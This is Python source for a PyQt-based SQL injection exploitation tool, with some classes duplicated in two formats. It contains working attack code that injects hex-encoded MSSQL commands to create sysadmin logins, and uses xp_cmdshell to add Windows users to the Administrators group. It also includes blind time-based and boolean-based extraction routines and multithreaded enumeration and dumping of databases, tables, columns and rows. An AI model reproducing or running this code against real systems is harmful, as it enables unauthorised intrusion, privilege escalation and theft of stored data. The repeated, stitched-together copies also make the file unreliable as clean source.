class Worker(QtCore.QThread): taskDoneSignal = QtCore.pyqtSignal() logSignal = QtCore.pyqtSignal(str) def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.vars = vars self.qstrings = qstrings self.wq = HTTP_Handler() self.wq.logSignal.connect(self.log) def log(self, logStr): self.logSignal.emit(logStr) def run(self): self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++") #--------Task---------- self.addUserTask() #----------------------- time.sleep(0.1) self.taskDoneSignal.emit() self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***") def addUserTask(self): qString = self.qstrings.value('mssql_error_based/exec_hex') if self.vars['type'] == "sql": #Adding sql user hex = core.txtproc.strToHex("master..sp_addlogin '" + self.vars['username']\ + "','" + self.vars['password'] + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #Adding 'sysadmin' rights for our user hex = core.txtproc.strToHex("master..sp_addsrvrolemember '" + self.vars['username']\ + "','sysadmin'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) else: #Adding windows user hex = core.txtproc.strToHex("master..xp_cmdshell 'net user " + self.vars['username']\ + " " + self.vars['password'] + " /ADD'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #Adding windows user to local group 'Administrators' hex = core.txtproc.strToHex("master..xp_cmdshell 'net localgroup Administrators "\ + self.vars['username'] + " /ADD'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars)
class Worker(QtCore.QThread): taskDoneSignal = QtCore.pyqtSignal() logSignal = QtCore.pyqtSignal(str) def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.vars = vars self.qstrings = qstrings self.wq = HTTP_Handler() self.wq.logSignal.connect(self.log) def log(self, logStr): self.logSignal.emit(logStr) def run(self): self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++") #--------Task---------- self.addUserTask() #----------------------- time.sleep(0.1) self.taskDoneSignal.emit() self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***") def addUserTask(self): qString = self.qstrings.value('mssql_error_based/exec_hex') if self.vars['type'] == "sql": #Adding sql user hex = core.txtproc.strToHex("master..sp_addlogin '" + self.vars['username']\ + "','" + self.vars['password'] + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #Adding 'sysadmin' rights for our user hex = core.txtproc.strToHex("master..sp_addsrvrolemember '" + self.vars['username']\ + "','sysadmin'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) else: #Adding windows user hex = core.txtproc.strToHex("master..xp_cmdshell 'net user " + self.vars['username']\ + " " + self.vars['password'] + " /ADD'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #Adding windows user to local group 'Administrators' hex = core.txtproc.strToHex("master..xp_cmdshell 'net localgroup Administrators "\ + self.vars['username'] + " /ADD'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars)
class BlindInjector(QtCore.QThread): # ---------------Signals---------------# logSignal = QtCore.pyqtSignal(str) progressSignal = QtCore.pyqtSignal(int, bool) querySignal = QtCore.pyqtSignal(str, bool) trueTimeSignal = QtCore.pyqtSignal(float) # ----------------------------------------# def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.wq = HTTP_Handler() self.vars = vars self.qstrings = qstrings self.killed = False self.wq.logSignal.connect(self.logger) def run(self): self.logSignal.emit("\n+++ BLIND TASK STARTED +++") if self.vars["task"] == "delay_test": self.delayTest() else: self.blindTask() self.progressSignal.emit(0, True) time.sleep(0.1) self.logSignal.emit("\n--- BLIND TASK STOPPED ---") def kill(self): if self.isRunning(): self.logSignal.emit("\n\n!!! KILL SIGNAL RECIEVED !!!") self.killed = True # Log def logger(self, strValue): self.logSignal.emit(strValue) # Current db type selected def blindType(self, todo): if self.vars["db_type"] == "MySQL": if self.vars["blind_inj_type"] == "Time": qstring = self.qstrings.value("mysql_blind_time_based/" + todo) else: qstring = self.qstrings.value("mysql_blind_boolean_based/" + todo) else: if self.vars["blind_inj_type"] == "Time": qstring = self.qstrings.value("mssql_blind_time_based/" + todo) else: qstring = self.qstrings.value("mssql_blind_boolean_based/" + todo) return qstring # Testing for optimal delay def delayTest(self): testLog = "Base / Delayed (0:0:" + str(self.vars["time"]) + ")\n\n" response = self.wq.httpRequest("", False, self.vars, True) query = self.wq.buildQuery(self.blindType("delay"), self.vars, {"delay": str(self.vars["time"])}) if self.vars["hexed"]: hex = core.txtproc.strToHex(query, True) query = self.wq.buildQuery(self.qstrings.value("mssql_error_based/exec_hex"), self.vars, {"hex": hex}) for resp in range(3): response = self.wq.httpRequest("", False, self.vars, True) testLog += str(response) + " (" + str(core.txtproc.roundTime(response)) + " sec) / " response = self.wq.httpRequest(query, False, self.vars, True) testLog += str(response) + " (" + str(core.txtproc.roundTime(response)) + " sec)\n" self.querySignal.emit(testLog, False) # If HTTP timeout occured try: if "[---Timed out---]" in response: return except TypeError: pass testLog += "\nDone." self.querySignal.emit(testLog, False) def blindTask(self): self.symbol_num = 1 self.request_counter = 0 self.string_fetched = False self.symbol = "" self.bad_response = False self.bad_time = 0 retry_counter = 0 # First six codes of symbol ranges self.lowerAlphabet = [97, 98, 99, 100, 101, 102] self.upperAlphabet = [65, 66, 67, 68, 69, 70] self.numbers = [48, 49, 50, 51, 52, 53] self.spec_1 = [32, 33, 34, 35, 36, 37] self.spec_2 = [58, 59, 60, 61, 62, 63] self.spec_3 = [91, 92, 93, 94, 95, 96] start_time = time.time() if self.vars["blind_inj_type"] == "Time": # just resolving response = self.wq.httpRequest("", False, self.vars, True) # Using user-defined 'True' response time if not self.vars["auto_detect"]: self.logSignal.emit( "\n====================================\n\n" "[!] Autodetect skipped, using user-defined 'True' response time: " + str(core.txtproc.roundTime(self.vars["true_time"])) + "sec (rounding from " + str(self.vars["true_time"]) + "; Max allowable lag time: " + str(self.vars["max_lag"]) + ")\n\n====================================\n" ) self.response = self.vars["true_time"] # Auto detecting time else: query = self.wq.buildQuery(self.blindType("delay"), self.vars, {"delay": str(self.vars["time"])}) if self.vars["hexed"]: hex = core.txtproc.strToHex(query, True) query = self.wq.buildQuery( self.qstrings.value("mssql_error_based/exec_hex"), self.vars, {"hex": hex} ) for i in range(2): response = self.wq.httpRequest(query, False, self.vars, True) self.logSignal.emit( "\n====================================\n\n" "[+] Setting 'True' response time to " + str(core.txtproc.roundTime(response)) + "sec (rounding from " + str(response) + "; Max allowed lag time: " + str(self.vars["max_lag"]) + ")\n\n====================================\n" ) # If HTTP timeout occured try: if "[---Timed out---]" in response: return except TypeError: pass self.response = response self.trueTimeSignal.emit(self.response) # Rows count check. If more than 1 row - aborting. if "count(*)" not in self.vars["query_cmd"].lower(): if "from" in self.vars["query_cmd"].lower(): self.mode = "count" if self.preCheck(): if self.isTrue("between 50 and 57"): self.querySignal.emit("Query returned more than 1 row.", True) return self.mode = "single" while not (self.string_fetched or self.killed): if self.preCheck(): if self.symbol == "NULL": self.querySignal.emit(self.symbol, True) break symbol_found = self.getSymbol() if not symbol_found: if self.vars["blind_inj_type"] == "Time": if not self.bad_response: retry_counter = 0 break else: if retry_counter > 2: self.logSignal.emit( "[!] Retried " + str(retry_counter) + " times, but server response time (" + str(self.bad_time) + ") more than maximum allowed (" + str(self.response + self.vars["max_lag"]) + ")" " Try to increase maximum lag time. Stopping." ) break retry_counter += 1 self.logSignal.emit( "!!! LAG DETECTED (response time: " + str(self.bad_time) + ") !!!: Retry #" + str(retry_counter) ) time.sleep(3) self.querySignal.emit(self.symbol, True) seconds = str(time.time() - start_time).split(".") elapsed = str(datetime.timedelta(seconds=int(seconds[0]))) self.logSignal.emit("Total requests sent: " + str(self.request_counter) + "\nElapsed time: " + elapsed) def getSymbol(self): # Lower alphabet if self.isTrue("between 97 and 122"): self.algorythm("lower_letters", self.lowerAlphabet) return True # Upper alphabet if self.isTrue("between 65 and 90"): self.algorythm("upper_letters", self.upperAlphabet) return True # Numbers if self.isTrue("between 48 and 57"): self.algorythm("numbers", self.numbers) return True # Special symbols #1 if self.isTrue("between 32 and 47"): self.algorythm("spec_1", self.spec_1) return True # Special symbols #2 if self.isTrue("between 58 and 64"): self.algorythm("spec_2", self.spec_2) return True # Special symbols #3 if self.isTrue("between 91 and 96"): self.algorythm("spec_3", self.spec_3) return True # Special symbols #4 if self.isTrue("between 123 and 126"): self.algorythm("spec_4") return True # [new line], [tab] if self.isTrue("between 9 and 10"): self.algorythm("other") return True return False def preCheck(self): # Checking for valid response if not self.isTrue("between 9 and 127"): self.string_fetched = True self.logSignal.emit("[*] Finished.") return False # If request valid, but server returned NULL if self.isTrue("= 127"): self.string_fetched = True self.symbol = "NULL" return True return True def isTrue(self, condition): if self.mode == "single": query = self.wq.buildQuery( self.blindType("single_row"), self.vars, {"symbol_num": str(self.symbol_num), "condition": " " + condition, "delay": str(self.vars["time"])}, ) else: query = self.wq.buildQuery( self.blindType("rows_count"), self.vars, {"symbol_num": str(self.symbol_num), "condition": " " + condition, "delay": str(self.vars["time"])}, ) if self.vars["hexed"]: query = self.wq.buildQuery( self.qstrings.value("mssql_error_based/exec_hex"), self.vars, {"hex": core.txtproc.strToHex(query, True)}, ) self.request_counter += 1 response = self.wq.httpRequest(query, False, self.vars, True) # If HTTP timeout occured try: if "[---Timed out---]" in response: return except TypeError: pass # Time based if self.vars["blind_inj_type"] == "Time": if core.txtproc.roundTime(response) >= core.txtproc.roundTime(self.response): self.bad_response = False # If response > response time + max lagging time if core.txtproc.roundTime(response) > (self.response + self.vars["max_lag"]): self.logSignal.emit( "\n!!! - UNKNOWN (response time was longer). Try to increase maximum lag time." + str(response) ) self.bad_response = True self.bad_time = response return False return True else: return False # Boolean based else: return response # Return symbol def retSymbol(self, code): self.symbol += chr(code) self.symbol_num += 1 # Generate next group of 6 codes def nextCodes(self, codeList): newCodes = [] for code in codeList: newCodes.append(code + 6) return newCodes # Blind algorythm def algorythm(self, mode, codeList=None): if mode == "lower_letters" or mode == "upper_letters": count = 4 elif mode == "numbers": count = 1 elif mode == "spec_1": count = 2 elif mode == "spec_2": count = 1 elif mode == "spec_3": count = 1 else: count = 0 for code_group in range(1, count + 1): if self.killed: return if self.isTrue("in(" + ",".join(str(code) for code in codeList) + ")"): if self.isTrue("> " + str(codeList[1])): if self.isTrue("> " + str(codeList[3])): if self.isTrue("> " + str(codeList[4])): self.retSymbol(codeList[5]) else: self.retSymbol(codeList[4]) else: if self.isTrue("> " + str(codeList[2])): self.retSymbol(codeList[3]) else: self.retSymbol(codeList[2]) else: if self.isTrue("> " + str(codeList[0])): self.retSymbol(codeList[1]) else: self.retSymbol(codeList[0]) return True codeList = self.nextCodes(codeList) if mode == "lower_letters": # y, z if self.isTrue("> 121"): self.retSymbol(122) else: self.retSymbol(121) return True elif mode == "upper_letters": # Y, Z if self.isTrue("> 89"): self.retSymbol(90) else: self.retSymbol(89) return True elif mode == "numbers": # 6, 7, 8, 9 if self.isTrue("> 56"): self.retSymbol(57) else: if self.isTrue("> 55"): self.retSymbol(56) else: if self.isTrue("> 54"): self.retSymbol(55) else: self.retSymbol(54) return True elif mode == "spec_1": # ,- . / if self.isTrue("> 46"): self.retSymbol(47) else: if self.isTrue("> 45"): self.retSymbol(46) else: if self.isTrue("> 44"): self.retSymbol(45) else: self.retSymbol(44) return True elif mode == "spec_2": # @ self.retSymbol(64) return True elif mode == "spec_4": # { | } ~ if self.isTrue("> 125"): self.retSymbol(126) else: if self.isTrue("> 124"): self.retSymbol(125) else: if self.isTrue("> 123"): self.retSymbol(124) else: self.retSymbol(123) return True else: if self.isTrue("> 9"): self.retSymbol(10) else: self.retSymbol(9) return True return False
class Injector(QtCore.QThread): # ---------------Signals---------------# logSignal = QtCore.pyqtSignal(str) progressSignal = QtCore.pyqtSignal(int, bool) dbSignal = QtCore.pyqtSignal(str) columnSignal = QtCore.pyqtSignal(str, int) rowDataSignal = QtCore.pyqtSignal(int, int, str) querySignal = QtCore.pyqtSignal(str, bool) tblSignal = QtCore.pyqtSignal(str) # ----------------------------------------# def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.wq = HTTP_Handler() self.vars = vars self.qstrings = qstrings self.killed = False self.wq.logSignal.connect(self.logger) def run(self): self.logSignal.emit("\n+++ TASK STARTED +++") # Tables task if self.vars["task"] == "tables": self.getTables() # Databases task if self.vars["task"] == "bases": self.getBases() # Columns task if self.vars["task"] == "columns": self.getColumns() # Query task if self.vars["task"] == "query": self.runQuery() # Dump task if self.vars["task"] == "dump": self.syncThreads() time.sleep(0.1) self.progressSignal.emit(0, True) self.logSignal.emit("\n--- TASK STOPPED ---") def kill(self): if self.isRunning(): self.logSignal.emit("\n\n!!! KILL SIGNAL RECIEVED !!!") self.killed = True # Log def logger(self, strValue, notFunction=True): if notFunction: self.logSignal.emit(strValue) return self.logSignal.emit(strValue + "\n - [x] 'no_content' returned by function " + strValue) # Current db type selected def dbType(self, todo): if self.vars["db_type"] == "MySQL": if self.vars["inj_type"] == "ERROR-BASED": qstring = self.qstrings.value("mysql_error_based/" + todo) else: qstring = self.qstrings.value("mysql_union_based/" + todo) else: if self.vars["inj_type"] == "ERROR-BASED": qstring = self.qstrings.value("mssql_error_based/" + todo) else: qstring = self.qstrings.value("mssql_union_based/" + todo) return qstring # Get current database def getCurrDb(self): if self.vars["dbListCount"] < 1: query = self.wq.buildQuery(self.dbType("curr_db_name"), self.vars) db_name = self.wq.httpRequest(query, False, self.vars) if db_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> db_name", False) return "no_db" elif db_name == "[---Timed out---]": return "no_db" self.dbSignal.emit(db_name) else: db_name = self.vars["dbName"] return db_name # Getting bases def getBases(self): # If not in (array) method selected if self.vars["notInArray"]: current_db = self.vars["dbName"] while not self.killed: query = self.wq.buildQuery(self.dbType("get_db_name"), self.vars, {"cdb": current_db}) db_name = self.wq.httpRequest(query, False, self.vars) if db_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> db_name", False) return elif db_name == "isnull": break current_db += ",'" + db_name + "'" self.dbSignal.emit(db_name) # not in (substring) method else: query = self.wq.buildQuery(self.dbType("dbs_count"), self.vars) dbCount = self.wq.httpRequest(query, False, self.vars) if dbCount == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> dbCount", False) return try: dbCount = int(dbCount) except ValueError as err: self.logger( "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True ) return if dbCount < 1: return tQueue = Queue() threads = [] for tNum in range(dbCount): tQueue.put(tNum) for i in range(self.vars["threads"]): t = threading.Thread(target=self.mtBases, args=(tNum, tQueue, dbCount)) threads.append(t) t.start() time.sleep(0.1) for thread in threads: thread.join() # Multithread tables def mtBases(self, tNum, tQueue, dbCount): while not self.killed: try: tNum = tQueue.get_nowait() except Exception: break query = self.wq.buildQuery(self.dbType("get_db_name2"), self.vars, {"num": str(tNum)}) db_name = self.wq.httpRequest(query, False, self.vars) if db_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> db_name", False) return self.dbSignal.emit(db_name) time.sleep(0.1) tQueue.task_done() self.progressSignal.emit(int(dbCount) - 1, False) # Getting tables def getTables(self): current_db = self.getCurrDb() if current_db == "no_db": return query = self.wq.buildQuery(self.dbType("tbls_count"), self.vars, {"cdb": current_db}) tblCount = self.wq.httpRequest(query, False, self.vars) if tblCount == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> tblCount", False) return try: tblCount = int(tblCount) except ValueError as err: self.logger("\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True) return if tblCount < 1: return if self.vars["notInArray"]: current_table = "" while not self.killed: query = self.wq.buildQuery( self.dbType("get_tbl_name"), self.vars, {"cdb": current_db, "ctbl": current_table} ) table_name = self.wq.httpRequest(query, False, self.vars) if table_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> table_name", False) return elif table_name == "isnull": break current_table += ",'" + table_name + "'" self.tblSignal.emit(table_name) self.progressSignal.emit(tblCount, False) else: tQueue = Queue() threads = [] for tNum in range(tblCount): tQueue.put(tNum) for i in range(self.vars["threads"]): t = threading.Thread(target=self.mtTables, args=(tNum, tQueue, tblCount, current_db)) threads.append(t) t.start() time.sleep(0.1) for thread in threads: thread.join() # Multithread tables def mtTables(self, tNum, tQueue, tblCount, current_db): while not self.killed: try: tNum = tQueue.get_nowait() except Exception: break query = self.wq.buildQuery(self.dbType("get_tbl_name2"), self.vars, {"cdb": current_db, "num": str(tNum)}) table_name = self.wq.httpRequest(query, False, self.vars) if table_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> table_name", False) return self.tblSignal.emit(table_name) time.sleep(0.1) tQueue.task_done() self.progressSignal.emit(int(tblCount) - 1, False) # Getitng columns def getColumns(self): current_db = self.getCurrDb() if current_db == "no_db": return tables = self.vars["tables"] # If not in(array) method selected: if self.vars["notInArray"]: for i in range(self.vars["tblTreeCount"]): current_table = core.txtproc.strToSqlChar(tables[i], self.vars["db_type"]) current_column = "" query = self.wq.buildQuery( self.dbType("columns_count"), self.vars, {"cdb": current_db, "ctbl": current_table} ) columnsInTable = self.wq.httpRequest(query, False, self.vars) if columnsInTable == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> notInArray -> columnsinTable", False) return try: columnsInTable = int(columnsInTable) except ValueError as err: self.logger( "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True ) return if columnsInTable < 1: return while not self.killed: query = self.wq.buildQuery( self.dbType("get_column_name"), self.vars, {"cdb": current_db, "ctbl": current_table, "ccol": current_column}, ) column_name = self.wq.httpRequest(query, False, self.vars) if column_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> notInArray -> column_name", False) return elif column_name == "isnull": break current_column += ",'" + column_name + "'" self.columnSignal.emit(column_name, i) self.progressSignal.emit(columnsInTable, False) else: for i in range(self.vars["tblTreeCount"]): current_table = core.txtproc.strToSqlChar(tables[i], self.vars["db_type"]) query = self.wq.buildQuery( self.dbType("columns_count"), self.vars, {"cdb": current_db, "ctbl": current_table} ) columnsInTable = self.wq.httpRequest(query, False, self.vars) if columnsInTable == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> columnsinTable", False) return try: columnsInTable = int(columnsInTable) except ValueError as err: self.logger( "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True ) return if columnsInTable < 1: return for rowid in range(columnsInTable): if self.killed: return # If not in(substring) method selected: if self.vars["notInSubstring"] or self.vars["LIMIT"]: query = self.wq.buildQuery( self.dbType("get_column_name2"), self.vars, {"cdb": current_db, "ctbl": current_table, "num": str(rowid)}, ) # If ordinal_position method selected: elif self.vars["ordinal_position"]: rowid += 1 query = self.wq.buildQuery( self.dbType("get_column_name3"), self.vars, {"cdb": current_db, "ctbl": current_table, "num": str(rowid)}, ) column_name = self.wq.httpRequest(query, False, self.vars) if column_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> notInSubstring -> column_name", False) return self.columnSignal.emit(column_name, i) self.progressSignal.emit(int(columnsInTable), False) # Run Query def runQuery(self): # If this select command if not self.vars["isStacked"]: query = self.wq.buildQuery(self.dbType("query"), self.vars) result = self.wq.httpRequest(query, False, self.vars) else: result = "NULL" if self.vars["hexed"]: query = self.wq.buildQuery( self.dbType("exec_hex"), self.vars, {"hex": core.txtproc.strToHex(self.vars["query_cmd"], True)} ) else: query = self.vars["query_cmd"] self.wq.httpRequest(query, True, self.vars) self.querySignal.emit(result, False) # Making synchronized threads for dumper def syncThreads(self): current_db = self.getCurrDb() if current_db == "no_db": return columns = self.vars["columns"] threads = [] for num in range(len(columns)): tQueue = Queue() for tNum in range(self.vars["fromPos"] + 1, self.vars["toPos"] + 1): tQueue.put(tNum) for i in range(self.vars["threads"]): t = threading.Thread(target=self.doDump, args=(tNum, tQueue, current_db, str(columns[num]), num)) threads.append(t) t.start() time.sleep(0.1) for thread in threads: thread.join() # Data dumping def doDump(self, tNum, tQueue, current_db, column, num): while not self.killed: try: tNum = tQueue.get_nowait() except Exception: break query = self.wq.buildQuery( self.dbType("data_dump"), self.vars, {"cdb": current_db, "column": column, "num": str(tNum)} ) rowData = self.wq.httpRequest(query, False, self.vars) if rowData == "no_content": rowData = "NULL" self.rowDataSignal.emit(tNum, num, rowData) self.progressSignal.emit(-1, False) time.sleep(0.1) tQueue.task_done()
class BlindInjector(QtCore.QThread): #---------------Signals---------------# logSignal = QtCore.pyqtSignal(str) progressSignal = QtCore.pyqtSignal(int, bool) querySignal = QtCore.pyqtSignal(str, bool) trueTimeSignal = QtCore.pyqtSignal(float) #----------------------------------------# def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.wq = HTTP_Handler() self.vars = vars self.qstrings = qstrings self.killed = False self.wq.logSignal.connect(self.logger) def run(self): self.logSignal.emit("\n+++ BLIND TASK STARTED +++") if self.vars['task'] == "delay_test": self.delayTest() else: self.blindTask() self.progressSignal.emit(0, True) time.sleep(0.1) self.logSignal.emit("\n--- BLIND TASK STOPPED ---") def kill(self): if self.isRunning(): self.logSignal.emit("\n\n!!! KILL SIGNAL RECIEVED !!!") self.killed = True #Log def logger(self, strValue): self.logSignal.emit(strValue) #Current db type selected def blindType(self, todo): if self.vars['db_type'] == "MySQL": if self.vars['blind_inj_type'] == "Time": qstring = self.qstrings.value('mysql_blind_time_based/' + todo) else: qstring = self.qstrings.value('mysql_blind_boolean_based/' + todo) else: if self.vars['blind_inj_type'] == "Time": qstring = self.qstrings.value('mssql_blind_time_based/' + todo) else: qstring = self.qstrings.value('mssql_blind_boolean_based/' + todo) return qstring #Testing for optimal delay def delayTest(self): testLog = "Base / Delayed (0:0:" + str(self.vars['time']) + ")\n\n" response = self.wq.httpRequest("", False, self.vars, True) query = self.wq.buildQuery(self.blindType('delay'), self.vars, {'delay': str(self.vars['time'])}) if self.vars['hexed']: hex = core.txtproc.strToHex(query, True) query = self.wq.buildQuery( self.qstrings.value('mssql_error_based/exec_hex'), self.vars, {'hex': hex}) for resp in range(3): response = self.wq.httpRequest("", False, self.vars, True) testLog += str(response) + " (" + str( core.txtproc.roundTime(response)) + " sec) / " response = self.wq.httpRequest(query, False, self.vars, True) testLog += str(response) + " (" + str( core.txtproc.roundTime(response)) + " sec)\n" self.querySignal.emit(testLog, False) #If HTTP timeout occured try: if "[---Timed out---]" in response: return except TypeError: pass testLog += "\nDone." self.querySignal.emit(testLog, False) def blindTask(self): self.symbol_num = 1 self.request_counter = 0 self.string_fetched = False self.symbol = "" self.bad_response = False self.bad_time = 0 retry_counter = 0 #First six codes of symbol ranges self.lowerAlphabet = [97, 98, 99, 100, 101, 102] self.upperAlphabet = [65, 66, 67, 68, 69, 70] self.numbers = [48, 49, 50, 51, 52, 53] self.spec_1 = [32, 33, 34, 35, 36, 37] self.spec_2 = [58, 59, 60, 61, 62, 63] self.spec_3 = [91, 92, 93, 94, 95, 96] start_time = time.time() if self.vars['blind_inj_type'] == "Time": #just resolving response = self.wq.httpRequest("", False, self.vars, True) #Using user-defined 'True' response time if not self.vars['auto_detect']: self.logSignal.emit("\n====================================\n\n"\ "[!] Autodetect skipped, using user-defined 'True' response time: " + str(core.txtproc.roundTime(self.vars['true_time'])) +\ "sec (rounding from " + str(self.vars['true_time']) + "; Max allowable lag time: " + str(self.vars['max_lag']) +\ ")\n\n====================================\n") self.response = self.vars['true_time'] #Auto detecting time else: query = self.wq.buildQuery(self.blindType('delay'), self.vars, {'delay': str(self.vars['time'])}) if self.vars['hexed']: hex = core.txtproc.strToHex(query, True) query = self.wq.buildQuery( self.qstrings.value('mssql_error_based/exec_hex'), self.vars, {'hex': hex}) for i in range(2): response = self.wq.httpRequest(query, False, self.vars, True) self.logSignal.emit("\n====================================\n\n"\ "[+] Setting 'True' response time to " + str(core.txtproc.roundTime(response)) +\ "sec (rounding from " + str(response) + "; Max allowed lag time: " + str(self.vars['max_lag']) +\ ")\n\n====================================\n") #If HTTP timeout occured try: if "[---Timed out---]" in response: return except TypeError: pass self.response = response self.trueTimeSignal.emit(self.response) #Rows count check. If more than 1 row - aborting. if "count(*)" not in self.vars['query_cmd'].lower(): if "from" in self.vars['query_cmd'].lower(): self.mode = "count" if self.preCheck(): if self.isTrue("between 50 and 57"): self.querySignal.emit( "Query returned more than 1 row.", True) return self.mode = "single" while not (self.string_fetched or self.killed): if self.preCheck(): if self.symbol == "NULL": self.querySignal.emit(self.symbol, True) break symbol_found = self.getSymbol() if not symbol_found: if self.vars['blind_inj_type'] == "Time": if not self.bad_response: retry_counter = 0 break else: if retry_counter > 2: self.logSignal.emit("[!] Retried " + str(retry_counter) + \ " times, but server response time (" + str(self.bad_time) +\ ") more than maximum allowed (" + str(self.response + self.vars['max_lag'])+ ")"\ " Try to increase maximum lag time. Stopping.") break retry_counter += 1 self.logSignal.emit( "!!! LAG DETECTED (response time: " + str(self.bad_time) + ") !!!: Retry #" + str(retry_counter)) time.sleep(3) self.querySignal.emit(self.symbol, True) seconds = str(time.time() - start_time).split('.') elapsed = str(datetime.timedelta(seconds=int(seconds[0]))) self.logSignal.emit("Total requests sent: " + str(self.request_counter) + "\nElapsed time: " + elapsed) def getSymbol(self): #Lower alphabet if self.isTrue("between 97 and 122"): self.algorythm("lower_letters", self.lowerAlphabet) return True #Upper alphabet if self.isTrue("between 65 and 90"): self.algorythm("upper_letters", self.upperAlphabet) return True #Numbers if self.isTrue("between 48 and 57"): self.algorythm("numbers", self.numbers) return True #Special symbols #1 if self.isTrue("between 32 and 47"): self.algorythm("spec_1", self.spec_1) return True #Special symbols #2 if self.isTrue("between 58 and 64"): self.algorythm("spec_2", self.spec_2) return True #Special symbols #3 if self.isTrue("between 91 and 96"): self.algorythm("spec_3", self.spec_3) return True #Special symbols #4 if self.isTrue("between 123 and 126"): self.algorythm("spec_4") return True #[new line], [tab] if self.isTrue("between 9 and 10"): self.algorythm("other") return True return False def preCheck(self): #Checking for valid response if not self.isTrue("between 9 and 127"): self.string_fetched = True self.logSignal.emit("[*] Finished.") return False #If request valid, but server returned NULL if self.isTrue("= 127"): self.string_fetched = True self.symbol = "NULL" return True return True def isTrue(self, condition): if self.mode == "single": query = self.wq.buildQuery(self.blindType('single_row'), self.vars,\ {'symbol_num' : str(self.symbol_num), 'condition' : " " + condition, 'delay' : str(self.vars['time'])}) else: query = self.wq.buildQuery(self.blindType('rows_count'), self.vars,\ {'symbol_num' : str(self.symbol_num), 'condition' : " " + condition, 'delay' : str(self.vars['time'])}) if self.vars['hexed']: query = self.wq.buildQuery( self.qstrings.value('mssql_error_based/exec_hex'), self.vars, {'hex': core.txtproc.strToHex(query, True)}) self.request_counter += 1 response = self.wq.httpRequest(query, False, self.vars, True) #If HTTP timeout occured try: if "[---Timed out---]" in response: return except TypeError: pass #Time based if self.vars['blind_inj_type'] == "Time": if (core.txtproc.roundTime(response) >= core.txtproc.roundTime( self.response)): self.bad_response = False #If response > response time + max lagging time if (core.txtproc.roundTime(response) > (self.response + self.vars['max_lag'])): self.logSignal.emit( "\n!!! - UNKNOWN (response time was longer). Try to increase maximum lag time." + str(response)) self.bad_response = True self.bad_time = response return False return True else: return False #Boolean based else: return response #Return symbol def retSymbol(self, code): self.symbol += chr(code) self.symbol_num += 1 #Generate next group of 6 codes def nextCodes(self, codeList): newCodes = [] for code in codeList: newCodes.append(code + 6) return (newCodes) #Blind algorythm def algorythm(self, mode, codeList=None): if (mode == "lower_letters" or mode == "upper_letters"): count = 4 elif mode == "numbers": count = 1 elif mode == "spec_1": count = 2 elif mode == "spec_2": count = 1 elif mode == "spec_3": count = 1 else: count = 0 for code_group in range(1, count + 1): if self.killed: return if self.isTrue("in(" + ','.join(str(code) for code in codeList) + ")"): if self.isTrue("> " + str(codeList[1])): if self.isTrue("> " + str(codeList[3])): if self.isTrue("> " + str(codeList[4])): self.retSymbol(codeList[5]) else: self.retSymbol(codeList[4]) else: if self.isTrue("> " + str(codeList[2])): self.retSymbol(codeList[3]) else: self.retSymbol(codeList[2]) else: if self.isTrue("> " + str(codeList[0])): self.retSymbol(codeList[1]) else: self.retSymbol(codeList[0]) return True codeList = self.nextCodes(codeList) if mode == "lower_letters": #y, z if self.isTrue("> 121"): self.retSymbol(122) else: self.retSymbol(121) return True elif mode == "upper_letters": #Y, Z if self.isTrue("> 89"): self.retSymbol(90) else: self.retSymbol(89) return True elif mode == "numbers": #6, 7, 8, 9 if self.isTrue("> 56"): self.retSymbol(57) else: if self.isTrue("> 55"): self.retSymbol(56) else: if self.isTrue("> 54"): self.retSymbol(55) else: self.retSymbol(54) return True elif mode == "spec_1": #,- . / if self.isTrue("> 46"): self.retSymbol(47) else: if self.isTrue("> 45"): self.retSymbol(46) else: if self.isTrue("> 44"): self.retSymbol(45) else: self.retSymbol(44) return True elif mode == "spec_2": #@ self.retSymbol(64) return True elif mode == "spec_4": #{ | } ~ if self.isTrue("> 125"): self.retSymbol(126) else: if self.isTrue("> 124"): self.retSymbol(125) else: if self.isTrue("> 123"): self.retSymbol(124) else: self.retSymbol(123) return True else: if self.isTrue("> 9"): self.retSymbol(10) else: self.retSymbol(9) return True return False
